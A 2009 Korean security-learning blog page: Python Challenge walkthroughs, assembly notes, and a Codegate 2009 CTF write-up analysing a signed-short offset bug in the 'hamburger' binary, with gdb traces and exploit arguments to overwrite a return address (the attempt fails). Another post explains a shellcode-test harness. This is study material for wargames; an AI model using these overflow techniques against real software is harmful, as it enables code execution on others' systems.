Search results for 'before I die'

  1. 2009.08.24 -- 기분이 오묘함
  2. 2009.08.20 -- pythonchallenge level4
  3. 2009.08.19 -- pythonchallenge level3
  4. 2009.08.17 -- pythonchallenge level2
  5. 2009.08.17 -- pythonchallenge level1
  6. 2009.08.17 -- hey JJAAPPPHH ~ 4
  7. 2009.08.14 -- codegate 2009. hamburger
  8. 2009.08.12 -- hey JaPH 1
  9. 2009.08.09 -- 기본 색인 주소 지정 모드 4
  10. 2009.08.06 -- 7.7 ddos 바이너리 대충 분석 2

기분이 오묘함

2009. 8. 24. 23:50
작년 초만 해도 열혈강의 c 책을 보면서 hello world 를 찍던 내가.. 여기까지 왔다.
이곳이 끝이 아님을 알기에 그저 홀로 조용한 자축을 보낼 뿐이다.

아무튼. 어쨌든. 여하튼. 잘했다. 덕분에 배는 좀 나왔지만 머 어때.

좀 더, 조금만 더, 죽지 않을 정도까지가 아니라.. 죽을 정도로



'what`s up' 카테고리의 다른 글

i`m back  (0) 2010.03.26
passion  (0) 2009.11.17
hardware radio switch T_T  (2) 2009.11.07
coldplay scientist  (0) 2009.10.18
그러한  (0) 2009.10.13
이별  (0) 2009.09.01
요즘은  (0) 2009.06.21
Daft Hands - Harder, Better, Faster, Stronger  (0) 2009.06.18
이소라 track 8  (0) 2009.04.05
이거..  (0) 2008.06.04

badcob what`s up

pythonchallenge level4

2009. 8. 20. 02:01

http://www.pythonchallenge.com/pc/def/linkedlist.php

소스 보기를 하면 level4의 힌트가 적혀있다

urllib may help. DON'T TRY ALL NOTHINGS, since it will never end.
400 times is more than enough.


화면에 있는 그림을 클릭했더니 get 메소드로 nothing 이라는 값에12345를 넘겨주며 (<a href="linkedlist.php?nothing=12345">) nothing의 다음 값을 알려준다.

and the next nothing is 92512

이처럼 페이지에 나온 문자열을 정규표현식으로 파싱해서 nothing에 집어넣은후 계속 쿼리를 날려보았다.
중간 중간에 나오는 트릭에 대한 처리를 하면서  peak.html 이라고 나오는 것을 확인하였다.

http://www.pythonchallenge.com/pc/def/peak.html


import urllib
import re

def get_page(number):
	while 1:
		i = 0
	 	url = "http://www.pythonchallenge.com/pc/def/linkedlist.php?nothing=%s" % number
	 	f = urllib.urlopen(url)
		print url
		file = f.read()
		print file
		text = re.findall("next nothing is \d+",file)
		if text:
			text_last = text[0]
			number_list = re.findall("[0-9]+",text_last)
			number = ''
			while 1:
				number += number_list[i]
				i +=1
				if i == len(number_list): break
		else:
			text = re.findall("Yes", file)
			if text:
				number = 92118/2
			else:
				break
				
num = 12345
get_page(num) 




'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27
pythonchallenge level3  (0) 2009.08.19
pythonchallenge level2  (0) 2009.08.17
pythonchallenge level1  (0) 2009.08.17

badcob War game/pythonchallenge

pythonchallenge level3

2009. 8. 19. 20:22

http://www.pythonchallenge.com/pc/def/equality.html

3번문제의 힌트는 아래와 같다. 소스를 살펴보면 level2 와 비슷하게 매우 긴 문자열을 볼 수 있다.

One small letter, surrounded by EXACTLY three big bodyguards on each of its sides

글자 그대로 해석하면 원하는 문자열은 XXXxXXX 형태일 것이다.  Forum에 올라온 힌트는 정규식을 이용
하라고 나와있다. 가깝고도 먼 그대.. 정규표현식T_T

[A-Z]{3}[a-z][A-Z]{3} 요런식으로 만들어서 매칭시켜보니 무려 477개나 되는 문자가
발견되었다. 힌트를 곰곰히 읽어보니 Exactly 가 유독 대문자로 써 있다. 이말은 대문자의 갯수가 정확히
3개 여야 한다는 뜻이다. 따라서 xXXXxXXXx 요런 형태로 다시 찾아보았다.

import re

str = """ ......................."""

keyword = re.findall("[a-z][A-Z]{3}[a-z][A-Z]{3}[a-z]",str)

i = 0
word = ''
temp = ''
length = len(keyword)
while 1:
         temp = keyword[i]
	word += temp[4]
	i+=1
	if i == length: break

print word


위의 코드를 실행하면 최종 문자열로 linkedlist 가 찍힌다.

http://www.pythonchallenge.com/pc/def/linkedlist.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27
pythonchallenge level4  (0) 2009.08.20
pythonchallenge level2  (0) 2009.08.17
pythonchallenge level1  (0) 2009.08.17

badcob War game/pythonchallenge

pythonchallenge level2

2009. 8. 17. 20:34

level 2 : http://www.pythonchallenge.com/pc/def/ocr.html
--------------------------------------------------------------------------
Hint :
recognize the characters. maybe they are in the book,
but MAYBE they are in the page source.

--------------------------------------------------------------------------
웹페이지의 소스를 보니  특수문자들로 보이는 엄청 긴 문자열이 있고

<!--
find rare characters in the mess below:
-->

라는 주석을 볼 수 있다.

특수 문자들 사이에 있는 알파릭 문자들을 뽑아내 보았다.


str = """%%$@_$^__#)^....."""

answer = ''i=0
while 1:
 if ord(str[i]) > 96 and ord(str[i]) < 123: answer += str[i]
 i+=1
 if i == len(str): break
print answer 


숨어있는 문자들은 equality

http://www.pythonchallenge.com/pc/def/equality.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27
pythonchallenge level4  (0) 2009.08.20
pythonchallenge level3  (0) 2009.08.19
pythonchallenge level1  (0) 2009.08.17

badcob War game/pythonchallenge

pythonchallenge level1

2009. 8. 17. 18:26

사이트 url은 이곳이며 level1은 여기를 클릭.

everybody thinks twice before solving this.

g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj.

위와 같은 글귀와

K -> M
O -> Q
E -> G

라고 적혀진 노트를 볼 수 있다. 아스키 코드를 2씩 증가시키므로 

......
    word += chr(ord(txt[i])+ 2)
  i+=1
  if i == length : break
 return word

이런식으로 만들어서 디코딩을 해봤더니 아래와 같은 문장을 볼 수 있었다.
-----------------------------------------------------------------------------------------------
i hope you didnt translate it by hand. thats what computers are for. doing it in
 by hand is inefficient and that's why this text is so long. using string.maketr
ans() is recommended. now apply on the url
------------------------------------------------------------------------------------------------
그냥 끝내기가 멋적어서 string.maketrans를 써서 다시 만든 코드.


import string

def decode_str(txt):
 word = ''
 firstchar = string.uppercase + string.lowercase
 secondchar = '{'+'}'
 move_str1 = string.maketrans(firstchar, "CDEFGHIJKLMNOPQRSTUVWXYZ[\cdefghijklmnopqrstuvwxyz{}") 
 move_str2 = string.maketrans(secondchar,"ab")
 word = txt.translate(move_str1) 
 return word.translate(move_str2)

str = "g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj"
#str = "http://www.pythonchallenge.com/pc/def/map.html"

answer = ''
answer = decode_str(str)
print answer


힌트를 따라서 url에 적용한뒤 주소창에 입력. (map.html)
http://www.pythonchallenge.com/pc/def/ocr.jvon

Have you ever heard of jvon files !?

jvon 확장자라..들어본적 없다. 구글링을 해봐도 나오지 않았다;
혹시나해서 ocr.html로 입력했더니 level2 페이지를 볼 수 있었다.
http://www.pythonchallenge.com/pc/def/ocr.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27
pythonchallenge level4  (0) 2009.08.20
pythonchallenge level3  (0) 2009.08.19
pythonchallenge level2  (0) 2009.08.17

badcob War game/pythonchallenge

hey JJAAPPPHH ~

2009. 8. 17. 18:14

 
Oops, sorry for late. 

0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp
0x080483b7 <main+3>:    sub    $0xa8,%esp                        extended 168
0x080483bd <main+9>:    and    $0xfffffff0,%esp
0x080483c0 <main+12>:   mov    $0x0,%eax                   
0x080483c5 <main+17>:   sub    %eax,%esp
0x080483c7 <main+19>:  cmpl   $0x1,0x8(%ebp)           agrc is at ebp+8
0x080483cb <main+23>:   jg     0x80483d9 <main+37>              if(agrc < 1)
0x080483cd <main+25>:   movl   $0x1,0xffffff74(%ebp)                return 1;
0x080483d7 <main+35>:   jmp    0x8048413 <main+95>
0x080483d9 <main+37>:   mov    0xc(%ebp),%eax            argv is at ebp+12
0x080483dc <main+40>:   add    $0x4,%eax                          address of argv + 4  means argv[1]
0x080483df <main+43>:   mov    (%eax),%eax                       eax = *argv[1]
0x080483e1 <main+45>:   mov    %eax,0x4(%esp)             
0x080483e5 <main+49>:   lea    0xffffff78(%ebp),%eax             eax = ebp-136 
0x080483eb <main+55>:   mov    %eax,(%esp)                
0x080483ee <main+58>:   call   0x80482d4 <
strcpy@plt>         so call strcpy(ebp-136, argv[1])
0x080483f3 <main+63>:   lea    0xffffff78(%ebp),%eax       
0x080483f9 <main+69>:   mov    %eax,0x4(%esp)
0x080483fd <main+73>:   movl   $0x8048524,(%esp)
0x08048404 <main+80>:   call   0x80482b4 <
printf@plt>          printf("%s", ebp-136)
0x08048409 <main+85>:   movl   $0x0,0xffffff74(%ebp)       
0x08048413 <main+95>:   mov    0xffffff74(%ebp),%eax         return 0;
0x08048419 <main+101>:  leave
0x0804841a <main+102>:  ret

Have you checked the stack in gdb? I can`t see [?3] in disassembled code.
Stack looks like this IMAO.

   ----------
   argv            ebp + 0C
   ----------
   argc            ebp + 8
   ----------
   return address  ebp + 4
   ----------
   ebp         
   ----------
   dummy          8bytes
   ----------
   buf            128byes

   ----------
 
Stack was extened 168 bytes, but it only uses 140bytes.
(dunno why extened 168bytes. i think that it`s up to the version of compiler, or something else. :$)

'Sabzil' 카테고리의 다른 글

Linux Oracle GUI client  (0) 2013.05.15
Ubuntu 12.10 에서 libboost1.48-all-dev 가 설치 되지 않을 때  (3) 2013.02.14
how to set debug environment for android  (0) 2012.09.14
oracle sql injection with rownum  (0) 2011.09.01
Shellcode site  (0) 2009.09.29
hey JaPH  (1) 2009.08.12
6회 kisa 해킹방어대회 6번  (0) 2009.07.09
ABI (Application Binary Interface)  (0) 2009.03.17
Nefif_rx  (0) 2009.03.17
usleep에 대해서  (0) 2009.01.08

badcob Sabzil

codegate 2009. hamburger

2009. 8. 14. 17:54

hamburger 를 실행해 보았다.



인자를 3개를 받는 다는 것을 알 수 있다. nm으로 심볼을 확인. cpy와 main이 보인다.



main 을 간략하게 분석해보았다.


 08048518 <main>:
 8048518: 8d 4c 24 04             lea    0x4(%esp),%ecx
 804851c: 83 e4 f0                 and    $0xfffffff0,%esp
 804851f: ff 71 fc                   pushl  -0x4(%ecx)
 8048522: 55                         push   %ebp
 8048523: 89 e5                     mov    %esp,%ebp
 8048525: 51                         push   %ecx
 8048526: 81 ec 24 80 00 00    sub    $0x8024,%esp
 804852c: 89 8d e4 7f ff ff        mov    %ecx,-0x801c(%ebp)
 8048532: 8d 95 f3 7f ff ff         lea    -0x800d(%ebp),%edx
 8048538: b8 ff 7f 00 00           mov    $0x7fff,%eax
 804853d: 89 44 24 08             mov    %eax,0x8(%esp)
 8048541: c7 44 24 04 00 00 00  movl   $0x0,0x4(%esp)
 8048548: 00
 8048549: 89 14 24              mov    %edx,(%esp)
 804854c: e8 6f fe ff ff          call   80483c0 <memset@plt>
 8048551: 8b 85 e4 7f ff ff     mov    -0x801c(%ebp),%eax   
 8048557: 83 38 04              cmpl   $0x4,(%eax)             argc 와 4를 cmp

 804855a: 74 27                  je      8048583 <main+0x6b>
 804855c: 8b 95 e4 7f ff ff     mov    -0x801c(%ebp),%edx
 8048562: 8b 42 04              mov    0x4(%edx),%eax
 8048565: 8b 00                  mov    (%eax),%eax
 8048567: 89 44 24 04           mov    %eax,0x4(%esp)
 804856b: c7 04 24 20 87 04 08  movl   $0x8048720,(%esp)      
 8048572: e8 89 fe ff ff        call   8048400 <printf@plt>        argc가 4가 아니면 usuage... 를 찍고 종료
 8048577: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 804857e: e8 ad fe ff ff        call   8048430 <exit@plt>

 8048583: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 8048589: 8b 41 04              mov    0x4(%ecx),%eax
 804858c: 83 c0 08              add    $0x8,%eax            
804858f: 8b 00                 mov    (%eax),%eax
 8048591: 89 04 24              mov    %eax,(%esp)
 8048594: e8 77 fe ff ff        call   8048410 <
atoi@plt>      argv[2]를 atoi
 8048599: 66 89 45 f2           mov    %ax,-0xe(%ebp)       리턴값을 ebp -0xe로

 804859d: 8b 95 e4 7f ff ff     mov    -0x801c(%ebp),%edx
 80485a3: 8b 42 04              mov    0x4(%edx),%eax
 80485a6: 83 c0 0c              add    $0xc,%eax
 80485a9: 8b 00                 mov    (%eax),%eax
 80485ab: 89 04 24              mov    %eax,(%esp)
 80485ae: e8 5d fe ff ff        call   8048410 <
atoi@plt>      argv[3]을 atoi
 80485b3: 89 45 f4              mov    %eax,-0xc(%ebp)      리턴값을 ebp-0xc로

 80485b6: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 80485bc: 8b 41 04              mov    0x4(%ecx),%eax
 80485bf: 83 c0 04              add    $0x4,%eax
 80485c2: 8b 00                 mov    (%eax),%eax
 80485c4: 89 04 24              mov    %eax,(%esp)
 80485c7: e8 24 fe ff ff        call   80483f0 <
strlen@plt>    strlen(argv[1]) 호출
 80485cc: 89 45 f8              mov    %eax,-0x8(%ebp)      리턴값을 ebp-0x8로

 80485cf: 81 7d f8 ff 7f 00 00  cmpl   $0x7fff,-0x8(%ebp)    0x7fff(32767)와 ebp-0x8을 비교
 80485d6: 7e 18                 jle    80485f0 <main+0xd8>
 80485d8: c7 04 24 3f 87 04 08  movl   $0x804873f,(%esp) 
 80485df: e8 3c fe ff ff        call   8048420 <puts@plt>       07fff 보다 크면 string is too long 을 찍고 종료
 80485e4: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 80485eb: e8 40 fe ff ff        call   8048430 <exit@plt>

 80485f0: 8b 55 f8              mov    -0x8(%ebp),%edx          
 80485f3: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 80485f9: 8b 41 04              mov    0x4(%ecx),%eax
 80485fc: 83 c0 04              add    $0x4,%eax                    
 80485ff: 8b 00                 mov    (%eax),%eax
 8048601: 89 54 24 08           mov    %edx,0x8(%esp)     strlen(argv[1]) 의 리턴값을 esp+8로 (size)
 8048605: 89 44 24 04           mov    %eax,0x4(%esp)      argv[1]을 esp+4로 (src)
 8048609: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax    
 804860f: 89 04 24              mov    %eax,(%esp)             ebp-0x800d 를 esp로 (dest)
 8048612: e8 c9 fd ff ff        call   80483e0 <memcpy@plt>  call memcpy

 8048617: 0f b7 45 f2          movzwl -0xe(%ebp),%eax  
 804861b: 0f bf d0             movswl %ax,%edx              
 804861e: 8b 45 f4             mov    -0xc(%ebp),%eax    
 8048621: 89 44 24 08         mov    %eax,0x8(%esp)     atoi(argv[3])의 리턴값을 esp+8에
 8048625: 89 54 24 04         mov    %edx,0x4(%esp)     atoi(argv[2])의 리턴값을 esp+4에
 8048629: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax   ebp-0x800d 를 esp로
 804862f: 89 04 24              mov    %eax,(%esp)
 8048632: e8 bd fe ff ff         call   80484f4 <cpy> 

 8048637: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax
 804863d: 89 04 24              mov    %eax,(%esp)
 8048640: e8 db fd ff ff        call   8048420 <puts@plt>
 8048645: 81 c4 24 80 00 00     add    $0x8024,%esp
 804864b: 59                    pop    %ecx
 804864c: 5d                    pop    %ebp
 804864d: 8d 61 fc              lea    -0x4(%ecx),%esp
 8048650: c3                    ret 

cpy도 살펴보자.

 080484f4 <cpy>:
 80484f4: 55                    push   %ebp
 80484f5: 89 e5                 mov    %esp,%ebp
 80484f7: 83 ec 14              sub    $0x14,%esp
 80484fa: 8b 45 0c              mov    0xc(%ebp),%eax
 80484fd: 66 89 45 ec    mov    %ax,-0x14(%ebp)    ebp+0xc(2번째 인자)를 ebp-0x14에 저장
 8048501: 8b 55 08              mov    0x8(%ebp),%edx              ebp+0x8(첫번째 인자)를 edx에
 8048504: 0f bf 45 ec           movswl -0x14(%ebp),%eax         ebp-0x14를  eax에 넣고
 8048508: 8d 04 02        lea    (%edx,%eax,1),%eax   edx+eax 한 값을 eax로
 804850b: 89 45 fc               mov    %eax,-0x4(%ebp)      
 804850e: 8b 55 fc              mov    -0x4(%ebp),%edx
 8048511: 8b 45 10              mov    0x10(%ebp),%eax   ebp+0x10(3번째 인자)를 eax로
 8048514: 89 02                 mov    %eax,(%edx)          eax를 edx가 가리키는 번지로 옮긴다.
                                                                          즉 3번째 아규먼트를 edx+eax 한 주소에 집어넣는다.
 8048516: c9                    leave 
 8048517: c3                    ret


대략적인 흐름은 다음과 같다.

argv[1]으로 입력되는 string 의 크기는 32767을 넘을 수 없으며 ebp-800d 로 복사된다.
argv[2]인 offset 은 입력된 string의 index로 사용된다.
argv[3]인 value는 입력한 값을 스트링의 특정 인덱스에 집어넣는다.

여기서 offset과 value는 값을 검사하는 루틴이 없으므로 이 값들을 조작해서 shell을 획득하는 것이
가능하지
않을까 싶다.

gdb) b *0x08048516
Breakpoint 1 at 0x8048516
(gdb) r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`
Starting program: /home/juliaa/share/codegate/hamburger `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`

cpy 함수의 leave 에 bp를 걸고 r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'` 로 실행 시킨후
bp에 걸린 상태에서 스택을 살펴보았다.



Breakpoint 1, 0x08048516 in cpy ()
Current language:  auto; currently asm
(gdb) info $esp
Undefined info command: "$esp".  Try "help info".
(gdb) info reg
eax            0x0 0
ecx            0x0 0
edx            0xbfae0fbf -1079111745
ebx            0xb80bdff4 -1207181324
esp            0xbfae0f84 0xbfae0f84
ebp            0xbfae0f98 0xbfae0f98
esi            0x8048670 134514288
edi            0x8048440 134513728
eip            0x8048516 0x8048516 <cpy+34>
eflags         0x286 [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/16x $esp
0xbfae0f84: 0xb80e0004 0x00007fff   0xb7fdcb70  0xbfae0fbb
0xbfae0f94: 0xbfae0fbf   0xbfae8fc8  0x08048637 0xbfae0fbb
0xbfae0fa4: 0x00000004 0x00000000 0xbfae8fe0  0x00000000
0xbfae0fb4: 0x00000000 0x41000000 0x00414141 0x41000000

붉은 색 부분이 ebp 이며 ebp+8 에 있는 첫번째 아규먼트의 주소 0xbfae0fbb 를 볼 수 있다.
ebp -0x14에는 argv[2]의 값이 옮겨진 0xb8e0004 가 있으며,
ebp -4 에는 0xbfae0fbb + 04 를 한 0xbfae0fbf 가 위치해 있다.


생각한대로 동작하는것을 알 수 있지만

80484fd: 66 89 45 ec           mov    %ax,-0x14(%ebp)

argv[2]의 값이 옮겨지는  부분에서 eax레지스터의 16비트만 사용하는 부분이 눈에 띄었다. short 형 변수로 받는게 아닌가 싶어서 argv[2]를 바꿔가며 입력해보았다.

----------------------------------------------------------------------------
32767      ebp+8     bffd9d1b      두값의 차이 +7FFFF
              ebp-4     bffe1d1a

32768       bfe13b4b       -8000
               bfe0bb4b

32769       bfa6afab       -7FFF
               bfa62fac

32770      bfbe391b       -7FFE
              bfbdb91d

.....

65534      bfdfb33b         -2
              bfdfb339

65535      bfe0133b         -1
              bfe0133a

65536       bfa57f9b          0
               bfa57f9b

65537       bfa76fbb          1
               bfa76fbc
---------------------------------------------------------------------


위와같이 32767 보다 큰 값을 입력 하였을때 음수로 바뀌는 것으로 미루어 signed short 형 변수를 사용하는 것으로 생각 할 수 있다.
(32비트 시스템에서 보통 signed short는 ~32768~32767 까지 나타낼 수 있다. )
이 것이 바로 이 프로그램의 취약점이 아닌가 싶다.

스택을 살펴보니 main 함수의 리턴어드레스는 argv[1]이 복사된 주소 ebp-800d 부터 7FFF 이상 떨어져  있으므로 접근할 수 없다.  가까운 cpy의 return address를 건드려보자. 

cpy함수의 코드를 다시 보면

 80484fd: 66 89 45 ec    mov   %ax,-0x14(%ebp)    
 8048501: 8b 55 08       mov    0x8(%ebp),%edx               
 8048504: 0f bf 45 ec    movswl -0x14(%ebp),%eax
         
 8048508: 8d 04 02        lea    (%edx,%eax,1),%eax
 804850b: 89 45 fc        mov    %eax,-0x4(%ebp)     


ebp+8 에 첫번째 인자, ebp-800d의 주소가 들어있으며 이 주소에 인덱스(argv[2])를 더한 주소를
ebp -4 에 넣는다. 

-----------------
ebp + 8    -   argv[1]
-----------------
ebp + 4    -   return address
-----------------
ebp 
-----------------
ebp -4        [argv[1] + argv[2]]
_________________

프로그램을 실행할때마다  스택의 주소는 바뀌지만 스택에서의 옵셋은 똑같다. 결국 ebp -4에 들어가는
 값을 return address와 같도록 만들 수 있다는 뜻이다.  실행값을 바꿔가면서 넣어본 결과  cpy의 return
address의 주소는 ebp+8 의 주소보다 0x1F 만큼 작다는 것을 확인할 수 있었다.
(65505를 입력했을때 ebp + 4의 값이  1111(0x00000457)로 바뀌어 있는 것을 볼 수 있다.)


 
이제 return address를 바꿀 수 있다. 3번째 인자의 값으로 환경변수에 띄운 쉘코드의 주소를 넣고
실행해봤더니 쉘이 실행되지 않았다..
문제가 무엇인지 디버깅을 해보았더니 세번째 입력값인 Value가
최대 7FFFFFFF 까지만 들어가기 때문이었다. 이것 역시 -1로 값을 넣어서  FFFFFFFF로 들어가서 원하는 값을
넣을 수 있었다.

최종적으로 아래와 같이 입력하였더니 segmentation fault 가 발생하였다.

./hamburger AAAA 65505 -1079758970

에러가 발생하는 이유는 eggshell을 띄운 환경변수의 주소를 eip가 정상적으로 가리키고 있지만
그 주소의 값을 실행시키지 못하는것 같았다. gdb에서 주소의 값을 보려고 해도 

Cannot access memory at address 0xbfxxxxxx  처럼 접근할 수 없다는 메세지가 나온다.

--------------------------------------------------------------------------
stack의 실행권한을 확인해 보았다. 실행권한이 빠져있다.




현재 프로세스의 stack의 실행권한은 아래와 같다. 모든권한이 주어져있다.



둘이 어떤 차이가 있고 무엇 때문에 실행이 안되는지 조만간 수정해서 다시 올리겠다..

anyway failed. :(








'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
about Signal  (0) 2009.12.09
Advanced Programming in the Unix Environment  (0) 2009.12.02
APUE 7장 연습문제  (0) 2009.11.27
linux socket source  (0) 2009.08.05
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux

hey JaPH

2009. 8. 12. 17:19

My english is quite bad. :(  I hope you understand me.

U can change the excutive flow by overwriting some func`s return address with your own code.
So basic BoF needs 2 points. Return address and shellcode`s one.

1.Check the program`s stack layout. usually EBP + 4 is Return address.
  esp is the edge of the stack. (ex. In GDB, by typing "X/16x $esp", u can see stack)

2. I made it.

3. Actually, the first line is shellcode.
  "\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x..."
   Let`s look below the line
 
     void main()
{
        int *ret;             //declare variable        
       

         ret =(int *)&ret + 2;

        // &ret means ret`s address and casted to integer point
        // so "+2" ---> "+(int *)x2" -------> "+(4bytes)x2" = "+8bytes."
        // Think it as stack
       
high address
          --------------
           return address   +8
         --------------
                  ebp              +4
         --------------
                  ret               here is ret        
         ---------------
low address

        // U got it? It overwrites Main function`s return address.

        *ret = shell;
       
        // return address is pointed by ret. so shellcode will be excuted.
}

 This source is just for test that shellcode is whether to work or not.

'Sabzil' 카테고리의 다른 글

Ubuntu 12.10 에서 libboost1.48-all-dev 가 설치 되지 않을 때  (3) 2013.02.14
how to set debug environment for android  (0) 2012.09.14
oracle sql injection with rownum  (0) 2011.09.01
Shellcode site  (0) 2009.09.29
hey JJAAPPPHH ~  (4) 2009.08.17
6회 kisa 해킹방어대회 6번  (0) 2009.07.09
ABI (Application Binary Interface)  (0) 2009.03.17
Nefif_rx  (0) 2009.03.17
usleep에 대해서  (0) 2009.01.08
strtok_r  (0) 2008.09.29

badcob Sabzil

기본 색인 주소 지정 모드

2009. 8. 9. 04:31


아래의 코드는 어느 바이너리의 특정 함수를 objdump 로 디스어셈블한 것이다.

사용자 삽입 이미지


 0x8048508에 있는 구문을 보자

     lea    (%edx, %eax, 1), %eax
   
  주소를 eax 에 넣긴 하는거 같은데 어떻게 계산이 이루어지는 지 모르겠다. 도와줘요 IDA~~
  
사용자 삽입 이미지
 

AT&T 문법에 맞춰서 디스어셈블되면  

lea   eax, [edx+eax]  로 바뀐 것을 볼 수 있다.

구글링을 해보니 리눅스 어셈블러: GAS와 NASM 비교 라는 글에서 다음과 같은 설명을 찾을 수 있었다.



NASM: mov al, byte [ebx + esi]

GAS: movb (%ebx, %esi, 1), %al

이런 방식은 기본 색인 주소 지정 모드다. 여기서 구성요소가 세 개 등장한다. 첫째는 기본 주소, 둘째는 색인 레지스터, 셋째는 승수(乘數)다. 메모리 위치에서 접근하는 바이트 숫자를 결정하기란 불가능하므로 주소를 지정한 메모리 총량을 찾아내기 위한 방법이 필요하다. NASM은 byte 연산자를 사용해 자료에서 한 바이트가 이동했음을 어셈블러에 알려준다. GAS에서는 니모닉에 b, w, l 접미사를 붙이는(예를 들어, movb) 동시에 승수를 사용해 이런 문제를 해결한다. 처음 보면 GAS 구문이 좀더 복잡해보일 수도 있다.

GAS에서 일반적인 기본 색인 주소 지정 형식은 다음과 같다.

%segment:ADDRESS (, index, multiplier)

또는

%segment:(offset, index, multiplier)

또는

%segment:ADDRESS(base, index, multiplier)

이 공식을 사용해 최종 주소를 계산한다.

ADDRESS or offset + base + index * multiplier.

따라서 바이트에 접근하려면 승수는 1이 되며, 워드에 접근하려면 승수는 2가 되며, 더블 워드에 접근하려면 승수가 4가 되어야 한다. 물론 NASM은 좀더 단순한 구문을 사용한다. 따라서 NASM으로 상기 공식을 풀어쓰면 다음과 같다.

Segment:[ADDRESS or offset + index * multiplier]

각각 메모리 1, 2, 4 바이트에 접근하도록 byte, word, dword 접두사를 메모리 주소 앞에 표시한다.



즉, movb (%ebx, %esi, 1), %al 구문으로 설명한다면  

ebx(address or offset) 의 값에 esi(index)를 더해서 al 레지스터로 옮긴다.
3번째 인자로 인덱스를 byte, word, dword 단위로 조정할 수 있으며 위의 코드에서는  
바이트(1) 단위로 접근하는 것을 알 수 있다.
 


'Code > assembly' 카테고리의 다른 글

move 명령어  (0) 2010.09.07

badcob Code/assembly

7.7 ddos 바이너리 대충 분석

2009. 8. 6. 19:15
전에 잠깐 만지다 말았던..

사용자 삽입 이미지

'Reversing' 카테고리의 다른 글

ARM assembly를 공부합시다.  (0) 2011.10.03
Protection ID  (0) 2011.05.11
Vmware detection by vmware I/O port  (0) 2011.04.18
TightVNC portable  (0) 2010.09.08
The best text for Reverse Engineering  (0) 2009.06.23
Reversing for Newbies (written by Lena)  (0) 2009.03.27
some instruction  (0) 2009.02.11
bypassing isDebuggerPresent WITHOUT changing mem  (0) 2009.01.28

badcob Reversing